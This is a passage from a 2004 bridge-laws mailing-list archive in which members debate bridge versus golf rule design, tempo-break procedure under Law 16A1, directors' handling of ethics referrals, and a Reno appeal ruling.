>definitions are minimal. A bunker consists of sand "or the >like"; a water hazard is "any sea, lake, pond, river, ditch >... and anything of a similar nature." Golf course design >ranges from the indulgent to the stringent and unforgiving, [snip] >Part of the USGA's success in managing change - and thus >interest - is in the attitude of the club players. Thomas >has written, "[G]olfers have an intuitive understanding of a >need for rules which will protect the traditions of the game >and preserve the challenge it offers. This is the invisible >bond betweeen golfers and rules-making bodies. ... It is >understood by the administrators of the game, as it is by >participants, that a golfer's *needs* and *wants* differ >fairly dramatically at times." Best wishes Richard Hills From nigel.guthrie@ntlworld.com Wed Jul 14 02:36:03 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 14 Jul 2004 02:36:03 +0100 Subject: [blml] SB bias Message-ID: <023501c46942$ed38d7e0$169468d5@jeushtlj> (Just to test if BLML is still working) Kojak and other law-makers seem to think that it is not necessary for the ordinary player to understand interpretations and nuances of Bridge Laws provided that most local TDs are in rough agreement. IMO this favours secretary birds, unfairly and unnecessarily. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From nigel.guthrie@ntlworld.com Wed Jul 14 04:03:11 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 14 Jul 2004 04:03:11 +0100 Subject: [blml] A player's view References: Message-ID: <025701c4694f$1b9810e0$169468d5@jeushtlj> [Roger Pewick] I am sure that many feel that treating one player differently from another without a compelling reason is the equitable thing to do but I am not counted among them. If the measure of the remedy does not compensate sufficiently, far from being discouraged the offender's behavior is encouraged** when there is profit in it. And there is the irritation and distraction of going through the remedy process for those repeat offenders who have 'learned consciously or subconsciously' the shot is a free one. Such players have a real edge over the ones that play by the 'rules'. Meaning that since it is in the rules it can be exploited. ** I have witnessed declarers leading out of turn three times to the same trick, not to mention ten times in the course of a hand [Nigel] Spot on Roger! Law-makers contend that.. (a) most players abide by the law. (b) the laws should not be distorted by a vain attempt to eliminate cheating Players broadly agree but object to the wanton sacrifice of justice to so-called "equity", which... (1) may have limited relevance to real- life law but is inappropriate to the rules of a *game* (2) adds little value but a lot of complexity and subjectivity. (3) is hard for a TD to enforce fairly. Subjective judgements applied to friends, enemies and strangers undermine the players' perception of "equality before the law" (4) leads to inconsistent rulings on seemingly identical facts and hence "justice is not seen to be done". (5) positively encourages cheating. Kojak started to ask the right questions. Are Bridge rules for... A. players to enjoy? B. TDs' employment and amusement? C. BLMLers to puzzle over and dispute? D. or are they simply an end in themselves? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.711 / Virus Database: 467 - Release Date: 25/06/2004 From twm@cix.co.uk Wed Jul 14 20:18:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Wed, 14 Jul 2004 20:18 +0100 (BST) Subject: [blml] SB bias In-Reply-To: <023501c46942$ed38d7e0$169468d5@jeushtlj> Message-ID: Nigel wrote: > (Just to test if BLML is still working) > Kojak and other law-makers seem to think > that it is not necessary for the ordinary > player to understand interpretations and > nuances of Bridge Laws provided that most > local TDs are in rough agreement. Perhaps more accurate is to say that they recognise the impossibility of persuading ordinary players to work at understanding the nuances of the laws. > IMO this favours secretary birds, > unfairly and unnecessarily. Any player can read the laws, talk to TDs, subscribe to BLML, etc, etc. Those who perceive a benefit in so doing may have an advantage when a situation arises. The same is true of many other aspects of the game. The game is a complex one and the rules will thus be complex (not syaing they couldn't be a damn site clearer), if most players are too lazy to understand the rules that is, to a large extent, their problem. BTW, the Hog knew the laws at least as well as the SB, probably better, but then he was a truly "professional" player. HH wasn't exactly bound by ethics though, I would advise ethical players not to understand the laws too well - it costs money. Tim From mfrench1@san.rr.com Wed Jul 14 20:32:07 2004 From: mfrench1@san.rr.com (Marvin French) Date: Wed, 14 Jul 2004 12:32:07 -0700 Subject: [blml] SB bias References: <023501c46942$ed38d7e0$169468d5@jeushtlj> Message-ID: <001e01c469d9$41e0fca0$6401a8c0@san.rr.com> Nigel Guthrie wrote: > (Just to test if BLML is still working) > Kojak and other law-makers seem to think > that it is not necessary for the ordinary > player to understand interpretations and > nuances of Bridge Laws provided that most > local TDs are in rough agreement. > > IMO this favours secretary birds, > unfairly and unnecessarily. Not understood, but on the subject of bias I think I detect some bias on the part of many BLML TDs, who don't seem to care for interpretations that make their job harder. L73B1 says that "players shall not communicate through the manner in which calls or plays are made...", and yet [despite L9B1(a)] most TDs don't want to be called at the time of a decided break in tempo in a tempo-sensitive situation. TDs seem to prefer misusing PPs for ethical misdeeds rather than employing a procedure that would document the wrongdoings, such as the ACBL's Player Memo (Player Report?). Marv Marvin L. French San Diego, California From nigel.guthrie@ntlworld.com Wed Jul 14 23:09:33 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 14 Jul 2004 23:09:33 +0100 Subject: [blml] A player's view References: Message-ID: <002a01c469ef$3f0e0480$5e9868d5@jeushtlj> [The Royal and Ancient website] >> ...a uniform code of rules so that >> wherever the game is played the same >> laws apply... >> Suggestions for simplifying the rules >> or making them more fair are always >> welcomed by the R&A. [Nigel] Thus Golf rules are *uniform* and strive towards *simplicity* and fairness. Golf rules are also *clear* *comprehensive* and *objective*. The contrast with Bridge rules could hardly be more extreme. No wonder Golf is ever more popular. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 From richard.hills@immi.gov.au Thu Jul 15 00:07:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 15 Jul 2004 09:07:52 +1000 Subject: [blml] A player's view Message-ID: Richard Hills, previous posting, as selectively quoted by Nigel Guthrie: >>>>...a uniform code of rules so that >>>>wherever the game is played the same >>>>laws apply... >>>> >>>>Suggestions for simplifying the rules >>>>or making them more fair are always >>>>welcomed by the R&A. Nigel Guthrie asserted: >>>Thus Golf rules are *uniform* and strive >>>towards *simplicity* and fairness. >>>Golf rules are also *clear* *comprehensive* >>>and *objective*. >>>The contrast with Bridge rules could hardly >>>be more extreme. >>>No wonder Golf is ever more popular. Robert Burns advised: >>The best laid schemes o' mice an' men >>Gang aft a-gley. Richard Hills clarifies: My previous posting had several objectives: (1) To congratulate the WBF LC Drafting Sub- Committee on emulating the model mission statement of the Golf Rules Drafting Sub- Committee. (2) To endorse Steve Willner's argument that "good games have simple rules that lead to complex positions", such as Golf (and Chess). (3) To differentiate between the "needs" of a player (and of the game of bridge) and the "wants" of a player. For example, a revoking player may "want" a highly complex revoke rule which occasionally gives the revoking player an extra trick. However, the revoking player may realise that, in the long run, the "needs" of that player (and of the game of bridge) require a very simple revoke rule, which is quick and easy to apply, but sometimes deprives the revoking player of the extra trick that a complex rule would have given them. (4) A best laid scheme, which gang aft a-gley, was to provide a counter-example to the Nigel Guthrie preferred model of Bridge Laws. In numerous postings Nigel has argued for anti- federalist and hyper-detailed Bridge Laws. I refer Nigel to the part of my previous posting that he snipped: >>>>are astonishly liberal about the design of >>>>courses. There is already excessive uniformity in bridge. Most bridge events are matchpointed pairs. Of the remnant, the majority are imped teams. But every golf course is wildly different from every other golf course. Secondarily, I argue that (in some circumstances) non-objective or subjective Laws are highly desirable, despite Nigel Guthrie's vehement philosophical opposition. Edward Tenner, Why Things Bite Back, page 251: >For clubs, the rules become deliberately >subjective. The head must be "plain in shape". >This, for example, really means that it must >look like a golf clubhead. Defining plainness >precisely would have the revenge effect of >promoting a search for loopholes. A recent blml search for loopholes has been on the extensive thread discussing when, exactly, a card has been played. I like the plain in shape subjective solution proposed by John (MadDog) Probst that "a card has been played when the player stops waving it around". Best wishes RJH From richard.hills@immi.gov.au Thu Jul 15 00:30:12 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 15 Jul 2004 09:30:12 +1000 Subject: [blml] SB bias Message-ID: Marvin L. French: >Not understood, but on the subject of bias I >think I detect some bias on the part of many >BLML TDs, who don't seem to care for >interpretations that make their job harder. > >L73B1 says that "players shall not communicate >through the manner in which calls or plays are >made...", and yet [despite L9B1(a)] most TDs >don't want to be called at the time of a >decided break in tempo in a tempo-sensitive >situation. Richard Hills: This is, in my opinion, merely a problem of a failure in cross-referencing the Laws. In my opinion, the general Law 73B1 must be read in conjunction with the specific Law 16A1: "When a player considers that an opponent has made such information available and that damage could well result, he may, unless the regulations of the sponsoring organisation prohibit, immediately announce that he reserves the right to summon the Director later (the opponents should summon the Director immediately if they dispute the fact that unauthorised information might have been conveyed)." If both sides agree that a tempo-break has occurred, then Law 16A1 (sensibly) orders the players to wait before summoning the TD. After all, why waste time with a TD call if eventually the NOS is not damaged? Marvin L. French: >TDs seem to prefer misusing PPs for ethical >misdeeds rather than employing a procedure that >would document the wrongdoings, such as the >ACBL's Player Memo (Player Report?). Richard Hills: In my opinion, this is a local cultural problem of ACBL TDs. In Aussie national championships, Aussie TDs proactively refer ethical misdeeds to the official Aussie Recorders. Best wishes RJH From john@asimere.com Thu Jul 15 01:18:36 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 15 Jul 2004 01:18:36 +0100 Subject: [blml] Reno regional appeal number four In-Reply-To: <00d401c46817$cc67aea0$669868d5@jeushtlj> References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> <003c01c46380$1184dc20$469868d5@jeushtlj> <00d401c46817$cc67aea0$669868d5@jeushtlj> Message-ID: In article <00d401c46817$cc67aea0$669868d5@jeushtlj>, Nigel Guthrie writes >[WILLIAM SCHODER] >Does SCHRODER mean to be SCHODER? >[Nigel] >Yes, Sorry. Discuss, limit 3,000 words, quoting your sources. -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From nigel.guthrie@ntlworld.com Thu Jul 15 04:16:21 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 15 Jul 2004 04:16:21 +0100 Subject: [blml] A player's view References: Message-ID: <000901c46a1a$1b3ea200$1c9868d5@jeushtlj> [Richard James Hills] My previous posting had several objectives: (1) To congratulate the WBF LC Drafting Sub- Committee on emulating the model mission statement of the Golf Rules Drafting Sub- Committee. [Nigel Guthrie] IMO, in key areas, their aims are different. Simplicity and uniformity have already been mentioned. Another major difference is that the mission of the Golf authority to make rules that players can easily understand. Kojak and other Bridge rule-makers scorn all such aims. [Richard] (2) To endorse Steve Willner's argument that "good games have simple rules that lead to complex positions", such as Golf (and Chess). [Nigel] Bridge laws have become increasingly complex and subjective; but I agree with Richard that players would like to see the trend reversed. [Richard] (3) To differentiate between the "needs" of a player (and of the game of bridge) and the "wants" of a player. For example, a revoking player may "want" a highly complex revoke rule which occasionally gives the revoking player an extra trick. However, the revoking player may realise that, in the long run, the "needs" of that player (and of the game of bridge) require a very simple revoke rule, which is quick and easy to apply, but sometimes deprives the revoking player of the extra trick that a complex rule would have given them. [Nigel] Most players would agree with Richard's last point and example. The current revoke laws are so complex that TDs have got them wrong when they tried to paraphrase them in BLML. The previous law was simpler and better. [Richard] (4) A best laid scheme, which gang aft a-gley, was to provide a counter-example to the Nigel Guthrie preferred model of Bridge Laws. In numerous postings Nigel has argued for anti- federalist and hyper-detailed Bridge Laws. I refer Nigel to the part of my previous posting that he snipped: >>>>are astonishingly liberal about the design of >>>>courses. There is already excessive uniformity in bridge. Most bridge events are matchpointed pairs. Of the remnant, the majority are imped teams. But every golf course is wildly different from every other golf course. [Nigel] IMO, Richard's analogy isn't germane. Like Bridge, Golf has several forms of competition (Match-play, Stroke- play, Stableford, and so on); but unlike Bridge, the rules of golf are more complete and uniform. IMO, it would be daft to suggest that all Golf courses be identical; just as it would be silly to keep replaying the same hands at bridge. Naturally, at either game, a sponsor may impose his own rules; but Golf does provide comprehensive defaults which suit most people. [Richard] Secondarily, I argue that (in some circumstances) non-objective or subjective Laws are highly desirable, despite Nigel Guthrie's vehement philosophical opposition. Edward Tenner, Why Things Bite Back, page 251: >For clubs, the rules become deliberately >subjective. The head must be "plain in shape". >This, for example, really means that it must >look like a golf clubhead. Defining plainness >precisely would have the revenge effect of >promoting a search for loopholes. [Nigel] It is hard imagine a completely objective set of rules for any game; but the rules of Golf seem to keep subjectivity to a minimum. In the choice of weapons both games allow their players a lot of latitude (Golf-clubs and Bridge-conventions). IMO a good thing. Bridge-rules sometimes introduce unnecessary subjectivity, as a matter of policy. Richard is right that subjectivity is sometimes necessary in Bridge legislation but IMO, far too often, TDs are forced to judge the ability and intentions of friends, enemies and (hardest of all) strangers. [Richard] A recent blml search for loopholes has been on the extensive thread discussing when, exactly, a card has been played. I like the plain in shape subjective solution proposed by John (MadDog) Probst that "a card has been played when the player stops waving it around". [Nigel] Richard condemns the campaign for clarity as "a search for loop-holes". In the practical example that Richard cites, on identical and typical facts, some BLML TDs would rule a card had been played, while others would rule that it had not. An less ambiguous law could be stated more succinctly and lucidly. Even MadDog's suggestion improves on the current law -- although I would prefer the world "player" to be replaced with "declarer". In conclusion... Nobody expects total precision, but surely an increase in completeness, uniformity, objectivity, clarity and simplicity would hardly tax our clever law-makers at all; and would make the game much more fun for players. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 From ereppert@rochester.rr.com Thu Jul 15 06:25:19 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 15 Jul 2004 01:25:19 -0400 Subject: [blml] SB bias In-Reply-To: Message-ID: <5CA24C96-D61F-11D8-8843-0030656F6826@rochester.rr.com> On Wednesday, Jul 14, 2004, at 19:30 US/Eastern, richard.hills@immi.gov.au wrote: > If both sides agree that a tempo-break has > occurred, then Law 16A1 (sensibly) orders the > players to wait before summoning the TD. After > all, why waste time with a TD call if eventually > the NOS is not damaged? Law 16A1 does not exist in the ACBL. From nigel.guthrie@ntlworld.com Thu Jul 15 06:29:14 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 15 Jul 2004 06:29:14 +0100 Subject: [blml] A player's view References: <000501c46374$c06076c0$6900a8c0@WINXP><700B886A-CFFB-11D8-A854-0003936A6522@gordonrainsford.co.uk><887F34F6-D011-11D8-A854-0003936A6522@gordonrainsford.co.uk> Message-ID: <007701c46a2c$ab2747c0$019868d5@jeushtlj> [John (MadDog) Probst] > We play football with an offside rule > and baseball with the infield fly-ball > rule, and as for leg before wicket at > cricket ..... Good games have complex > rules. I don't think simplifying rules > for the players follows Gordon. [Nigel] I'm unfamiliar with Baseball but the rules of football and cricket are for spectators as much as for players. The rules are designed to encourage spectators to be emotionally involved. Take football. Referees are condemned as overzealous if they stop players from shirt-tugging, "diving" and the like. "Advantage" rules are used to justify laxity. Commentators applaud a professional foul that saves a probable goal. Thus, even if his team loses, a spectator can usually rationalize an angry claim that "we wuz robbed." Complex subjective laws are needed to justify such controversial rulings. Changing the rules of football would cause widespread unemployment among RADA graduates with black-belts in kick-boxing. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.720 / Virus Database: 476 - Release Date: 14/07/2004 From richard.hills@immi.gov.au Thu Jul 15 06:47:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 15 Jul 2004 15:47:52 +1000 Subject: [blml] Reno NABC+ appeal number two Message-ID: Subject: Tempo North American Pairs - 2nd Final Board: 15 Dealer: South Vul: NS John Stiefel Q6 A3 AQ73 A8532 Jill Meyers Ed Davis 98732 AK54 KT982 Q5 KJ2 T5 --- KQ964 Victor King JT J764 9864 JT7 WEST NORTH EAST SOUTH --- --- --- Pass 2H(1) 3C Pass(2) Pass Dbl Pass Pass Pass (1) 5-5 in hearts and another with weak two bid strength (2) BIT The Facts: 3C doubled was down 4, -1100. The director was called two rounds after the play of the hand. West did not use the stop card, North did not pause after 2H, East paused 5 - 8 seconds, and West doubled quickly. The Ruling: The hesitation by East demonstrably suggested a double while pass was a logical alternative. The result was changed to 3C, -400. The Appeal: Though the stop card was not used, the 2H agreement had been pre-alerted prior to the start of the round. EW said that North bid after 4 seconds. South passed immediately. West contended that she was systemically obligated to reopen with shortage when playing these methods since a double by East would have been negative. NS estimated the pause after 3C at 5 - 8 seconds. It was only after the round that NS worked out that -400 would be a good matchpoint score, calling the director at that time. As an ACBL appeals committee, how would you rule? Best wishes Richard Hills From richard.hills@immi.gov.au Thu Jul 15 07:38:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 15 Jul 2004 16:38:38 +1000 Subject: [blml] SB bias Message-ID: Marvin L. French: [snip] >>>most TDs don't want to be called at the time of a >>>decided break in tempo in a tempo-sensitive >>>situation. [snip] Richard Hills: [snip] >>If both sides agree that a tempo-break has >>occurred, then Law 16A1 (sensibly) orders the >>players to wait before summoning the TD. After >>all, why waste time with a TD call if eventually >>the NOS is not damaged? Ed Reppert: >Law 16A1 does not exist in the ACBL. Richard Hills: So (according to Marv), sensible ACBL TDs are sensibly acting as if the sensible Law 16A1 did exist in the ACBL, but (according to Ed) the obtuse ACBL LC refuses to adopt Law 16A1 for ACBL events. Why is ACBL LC obtuse in its refusal, especially since it appears that its obtuse refusal is a dead-letter law anyway? Best wishes RJH From richard.hills@immi.gov.au Thu Jul 15 08:20:43 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 15 Jul 2004 17:20:43 +1000 Subject: [blml] A player's view Message-ID: Nigel Guthrie: >IMO, in key areas, their aims are different. >Simplicity and uniformity have already been >mentioned. Another major difference is that >the mission of the Golf authority to make >rules that players can easily understand. >Kojak and other Bridge rule-makers scorn >all such aims. [snip] Richard Hills: (a) The Golf authority eschews uniformity of rules. Even on the basic issue of golf-ball design, players can freely select one which suits their style. This is in direct contrast to Nigel's proposed world-wide law-mandated default bidding system. (To be consistent, if Nigel was a participant on the Golf Laws Mailing List, he would have to argue for a world-wide law-mandated default golf-ball design.) (b) Nigel has not been paying attention to Grattan's recent sneak previews on what he (and Kojak, and other members of the Drafting Sub-Committee) have been doing in their 2006 rewrite of the Laws. A simple and uniform framework is the goal for the 2006 edition of the Laws. As for Golf, from 2006 there will be plenty of scope for local designs and regulations to suit local tastes of local players and local SOs, with merely broad limits set by an over-arching Lawbook. Nigel Guthrie: >TDs are forced to judge the ability and >intentions of friends, enemies and (hardest >of all) strangers. [snip] Richard Hills: Best practice now recommends that a TD should consult before making a judgment decision about the availability of logical alternatives. Furthermore, best practice recommends that an AC should have multiple members. The opinions of many can help objectify any inherently subjective assessments. And that is the best that can be done, since abolishing Law 16 would fundamentally alter the nature of bridge. Nigel Guthrie: >In conclusion... >Nobody expects total precision, but >surely an increase in completeness, >uniformity, objectivity, clarity and >simplicity would hardly tax our clever >law-makers at all; and would make the >game much more fun for players. Richard Hills: Whoa. Have you stopped beating your wife? In my opinion Nigel is conflating different issues in his string of nouns. (c) *Completeness* is not necessarily desirable. This is an issue of subsidiarity and federalism. In my opinion, a majority of players would vote for a Laws framework in 2006, with non-fundamental gaps in the Laws customised to suit local tastes by local regulation. (d) *Uniformity* as one word is ambiguous. If the idea of internal consistency in the Laws is what is being recommended, then I wholeheartedly agree. If, however, uniformity is being used in the sense of Good Queen Bess's anti-Catholic Uniformity Acts, then I am wholeheartedly opposed to such a non- subsidiarity and non-federalism idea. (e) *Objectivity* is impossible in all cases, but it is possible for a local TD to be consistent in their rulings, and it is possible for a local TD to use the justice-is-blind principle in their rulings. (f) *Clarity* and redundancy (using the same word with boring repetition for the same concept throughout) is highly desirable for an instruction manual. (g) *Simplicity* Henry David Thoreau (1817 -1862): >>Our life is frittered away by detail... >>Simplify, simplify, simplify. Best wishes RJH From hermandw@hdw.be Thu Jul 15 08:58:27 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 15 Jul 2004 09:58:27 +0200 Subject: [blml] Reno NABC+ appeal number two In-Reply-To: References: Message-ID: <40F63923.2090900@hdw.be> richard.hills@immi.gov.au wrote: > > The Appeal: Though the stop card was not used, the 2H > agreement had been pre-alerted prior to the start of the > round. EW said that North bid after 4 seconds. South > passed immediately. West contended that she was > systemically obligated to reopen with shortage when > playing these methods since a double by East would have > been negative. If EW can make good on this statement then the pass becomes forcing and the hesitation adds no information. > NS estimated the pause after 3C at 5 - 8 > seconds. I don't consider a pause of 5 seconds after a first round bidding up to the three level as excessive or carrying information anyway. > It was only after the round that NS worked out > that -400 would be a good matchpoint score, calling the > director at that time. > > As an ACBL appeals committee, how would you rule? > result stands. > Best wishes > > Richard Hills > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From wayne.burrows@xtra.co.nz Thu Jul 15 09:20:40 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 15 Jul 2004 20:20:40 +1200 Subject: [blml] SB bias In-Reply-To: Message-ID: <002101c46a44$9defdf00$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Thursday, 15 July 2004 11:30 a.m. > To: blml@rtflb.org > Subject: Re: [blml] SB bias > Richard Hills: > > In my opinion, this is a local cultural problem > of ACBL TDs. In Aussie national championships, > Aussie TDs proactively refer ethical misdeeds to > the official Aussie Recorders. > The practice of referring ethical and courtesy matters to the recorder is also used in NZ. IMO while this process means well it also has the negative effect of making TDs reluctant to exercise their lawful powers on matters of ethics and courtesy. On both sides of the Tasman I have experienced TDs refusing to rule or take action on issues that occurred at the table because 'they were matters for the recorder'. IMO this is a dereliction of duty. Wayne From grandeval@vejez.fsnet.co.uk Thu Jul 15 10:53:08 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 15 Jul 2004 10:53:08 +0100 Subject: [blml] SB bias References: <002101c46a44$9defdf00$0401010a@Desktop> Message-ID: <00be01c46a5d$79992940$e4a687d9@4nrw70j> Grattan Endicott To: Sent: Thursday, July 15, 2004 9:20 AM Subject: RE: [blml] SB bias > On both sides of the Tasman I have experienced TDs > refusing to rule or take action on issues that occurred > at the table because 'they were matters for the recorder'. > > IMO this is a dereliction of duty. > +=+ I think that would depend on the inner thoughts of the TD. If he thinks it is the kind of situation where he is uneasy about what has happened but feels he lacks the quality of evidence, or investigation would hold up the game, then maybe reference elsewhere is the only sensible course? ~ G ~ +=+ From grandeval@vejez.fsnet.co.uk Thu Jul 15 12:09:03 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 15 Jul 2004 12:09:03 +0100 Subject: [blml] A player's view References: <000901c46a1a$1b3ea200$1c9868d5@jeushtlj> Message-ID: <00bf01c46a5d$7a4a29c0$e4a687d9@4nrw70j> Grattan Endicott To: "BLML" Sent: Thursday, July 15, 2004 4:16 AM Subject: Re: [blml] A player's view > [Richard James Hills] > My previous posting had several objectives: > (1) To congratulate the WBF LC Drafting Sub- > Committee on emulating the model mission > statement of the Golf Rules Drafting Sub- > Committee. > +=+ This is too great a burden to bear - and maybe the time for congratulation is not yet since thus far there are no tablets of stone brought down from the mountain. +=+ > > Secondarily, I argue that (in some > circumstances) non-objective or subjective > Laws are highly desirable, despite Nigel > Guthrie's vehement philosophical opposition. > Edward Tenner, Why Things Bite Back, page 251: > >For clubs, the rules become deliberately > >subjective. The head must be "plain in shape". > >This, for example, really means that it must > >look like a golf clubhead. Defining plainness > >precisely would have the revenge effect of > >promoting a search for loopholes. > +=+ As for that the laws that Moses brought down from the mountain were 'plain in shape' - simplicity, clarity and objectivity calcified - but this has not stopped thousands of years of interpretation, searches for loopholes, debate. Indeed, why has blml not taken up the subject? Or did I miss it? +=+ < > In conclusion... > Nobody expects total precision, but > surely an increase in completeness, > uniformity, objectivity, clarity and > simplicity would hardly tax our clever > law-makers at all; and would make the > game much more fun for players. > +=+ Unlike a physical sport like golf where the rules have physical applications, bridge is a judgemental mind game and inherently calls for subjective law in judgemental matters. Consequently different bridge cultures and environments develop diverse attitudes and practices. Simplicity of form and statement is an essential objective, but this is not analogous with simplicity or uniformity of application. ~ Grattan ~ +=+ From grandeval@vejez.fsnet.co.uk Thu Jul 15 12:17:26 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Thu, 15 Jul 2004 12:17:26 +0100 Subject: [blml] Reno NABC+ appeal number two References: Message-ID: <00c001c46a5d$7b446840$e4a687d9@4nrw70j> Grattan Endicott To: Sent: Thursday, July 15, 2004 6:47 AM Subject: [blml] Reno NABC+ appeal number two > WEST NORTH EAST SOUTH > --- --- --- Pass > 2H(1) 3C Pass(2) Pass > Dbl Pass Pass Pass > > (1) 5-5 in hearts and another with weak two bid strength > (2) BIT > > The Appeal: Though the stop card was not used, the 2H > agreement had been pre-alerted prior to the start of the > round. EW said that North bid after 4 seconds. South > passed immediately. West contended that she was > systemically obligated to reopen with shortage when > playing these methods since a double by East would have > been negative. NS estimated the pause after 3C at 5 - 8 > seconds. It was only after the round that NS worked out > that -400 would be a good matchpoint score, calling the > director at that time. > > As an ACBL appeals committee, how would you rule? > 1. If West is able to satisfy the committee that double is her only option, score stands. This calls for rigorous examination by the committee - "what never?". (And would you double with no tolerance for Spades?) 2. East took "5 - 8 seconds" to pass. First, what is the ACBL regulation if North fails to pause for the required time, and there has been a failure to use the Stop card? The question is whether East is entitled to some tempo adjustment. 3. There is in any case a judgement to be made whether East's 5-8 secs delay is sufficient in the situation to convey UI. 4. What is this nonsense about discovering after the round that -400 would be a better matchpoint score? Was this their evidence or someone's conjecture? Did they not think at the table that possibly -1100 might be a bad score? As Director when they came to me after the round I would have found it "difficult" to establish the facts in such circumstances, and left NS to do any appealing if they wished. As AC member I would have little sympathy about NS not calling the Director to the table, I would have thought about pairs who look for a way of getting their score back from the Director or in the committee room, and my answer to (3) above would likely have favoured EW. ~ Grattan ~ +=+ From mfrench1@san.rr.com Thu Jul 15 21:24:01 2004 From: mfrench1@san.rr.com (Marvin French) Date: Thu, 15 Jul 2004 13:24:01 -0700 Subject: [blml] SB bias References: Message-ID: <002001c46aa9$abc2bca0$6401a8c0@san.rr.com> Richard Hills wrote: > > Marvin L. French: > > [snip] > > >>>most TDs don't want to be called at the time of a > >>>decided break in tempo in a tempo-sensitive > >>>situation. > > [snip] > > Richard Hills: > > [snip] > > >>If both sides agree that a tempo-break has > >>occurred, then Law 16A1 (sensibly) orders the > >>players to wait before summoning the TD. After > >>all, why waste time with a TD call if eventually > >>the NOS is not damaged? > > Ed Reppert: > > >Law 16A1 does not exist in the ACBL. > > Richard Hills: > > So (according to Marv), sensible ACBL TDs are sensibly > acting as if the sensible Law 16A1 did exist in the > ACBL, but (according to Ed) the obtuse ACBL LC refuses > to adopt Law 16A1 for ACBL events. > > Why is ACBL LC obtuse in its refusal, especially since > it appears that its obtuse refusal is a dead-letter law > anyway? > Perhaps they noticed that l6A1 contradicts L9B1(a), which says that the TD must be summoned if attention is called to an irregularity, and surely violating L73B1 ("shall not") is an irregularity. The syntax of the ACBL's "exception" to L16A1 is such that it is very hard to understand what is meant. At first it says not to wait, and then "resulting in calls or bids" implies otherwise. Probably "could result" was meant. The fact that the writer did not know that bids are calls, or that it should be "calls or plays," shows his/her ignorance. It is no wonder that ACBL TDs don't know what to make of it. My conversations with high-level ACBL TDs is that their opinion is mixed. Many are okay with L16A1, but others prefer to be summoned when a suspicious action is taken, not before. I have asked the Chief ACBL TD for an official opinion, but no answer yet. Going unnoticed is L16A2 and its footnote, which says that the TD should not be summoned on the basis of mere suspicion that an illegal action has been taken, but only when the evidence of a possible infraction is clearly seen (at sight of dummy, or when play ends). Whenever I wait until such time, the TD says I should have called him/her when the action was taken, even though L16A2 is not an option for SOs. Marv Marvin L. French San Diego, California From wayne.burrows@xtra.co.nz Thu Jul 15 22:45:37 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 16 Jul 2004 09:45:37 +1200 Subject: [blml] SB bias In-Reply-To: <00be01c46a5d$79992940$e4a687d9@4nrw70j> Message-ID: <000201c46ab5$10c5f490$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of grandeval > Sent: Thursday, 15 July 2004 9:53 p.m. > To: blml@rtflb.org > Subject: Re: [blml] SB bias > > > > Grattan Endicott [alternatively gesta@tiscali.co.uk] > ================================== > "There was no single hide nor a yard of land nor indeed > was one ox or one cow or one pig left out, that was not > put down in his record." > Anglo-Saxon Chronicles > re 'The Domesday Book'. > ++++++++++++++++++++++++++++++++++ > ----- Original Message ----- > From: "Wayne Burrows" > To: > Sent: Thursday, July 15, 2004 9:20 AM > Subject: RE: [blml] SB bias > > > > On both sides of the Tasman I have experienced TDs > > refusing to rule or take action on issues that occurred > > at the table because 'they were matters for the recorder'. > > > > IMO this is a dereliction of duty. > > > +=+ I think that would depend on the inner thoughts of the > TD. If he thinks it is the kind of situation where he is uneasy > about what has happened but feels he lacks the quality of > evidence, or investigation would hold up the game, then > maybe reference elsewhere is the only sensible course? Perhaps but when no attempt is made to gather evidence or determine the facts then I think the TD has fallen short of his duty. I would say that no action on the offence from the TD is the normal course of action that I have observed from TDs when called regarding conduct and etiquette issues. Being told by the CTD that "that is a matter for the recorder" is unsatisfactory IMO when we are talking about a breach of law. Wayne > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Fri Jul 16 00:31:25 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 16 Jul 2004 09:31:25 +1000 Subject: [blml] Reno NABC+ 